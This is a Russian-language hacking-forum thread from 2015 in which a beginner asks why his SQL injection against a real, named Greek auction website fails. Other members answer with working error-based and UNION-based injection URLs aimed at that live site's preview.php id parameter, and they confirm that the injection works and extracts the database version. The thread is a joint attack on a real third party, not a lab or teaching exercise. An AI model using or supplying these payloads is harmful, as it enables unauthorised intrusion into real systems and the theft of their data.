SQL-инъекция. Не пускает Error 404 - page not found.

Discussion in 'Песочница' started by Dondo, 10 Aug 2015.

  1. Dondo

    Dondo New Member

    Joined:
    2 Aug 2015
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    На одном сайте не могу внедрить SQL-инъекцию, пишу "-" или "." перед значением id=, не пускает ошибка Error 404 - page not found и все. Посоветуйте чего, а то я новичок в этом деле...
    Так не пускет:
    Code:
    http://www.texnitesonline.gr/controller/auction/preview.php?id=-18961' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 -- -
     
  2. ocheretko

    ocheretko Banned

    Joined:
    15 May 2010
    Messages:
    144
    Likes Received:
    51
    Reputations:
    116
    Здесь нет sql иньекции
     
  3. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    попробуйте любые другие функции, чтобы сделать условие ложным. and 1=0 union select
    div 0 union select
     
    _________________________
    ocheretko likes this.
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Инъекция есть, не пугайтесь редиректов и ошибок.
     
  5. ocheretko

    ocheretko Banned

    Joined:
    15 May 2010
    Messages:
    144
    Likes Received:
    51
    Reputations:
    116
    Code:
    http://www.texnitesonline.gr/controller/auction/preview.php?id=18961' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1
    Извините, за мою невнимательность. Вот раскрученая
     
    Dondo likes this.
  6. Dondo

    Dondo New Member

    Joined:
    2 Aug 2015
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Спасибо!
     
  7. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    Ну и если кому-то по эстетическим причинам не нравится error based, то так оно тоже вполне себе работает
    Code:
    http://www.texnitesonline.gr/controller/auction/preview.php?id=18963' limit 0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 -- 1
     
    kingbeef, grimnir and YaBtr like this.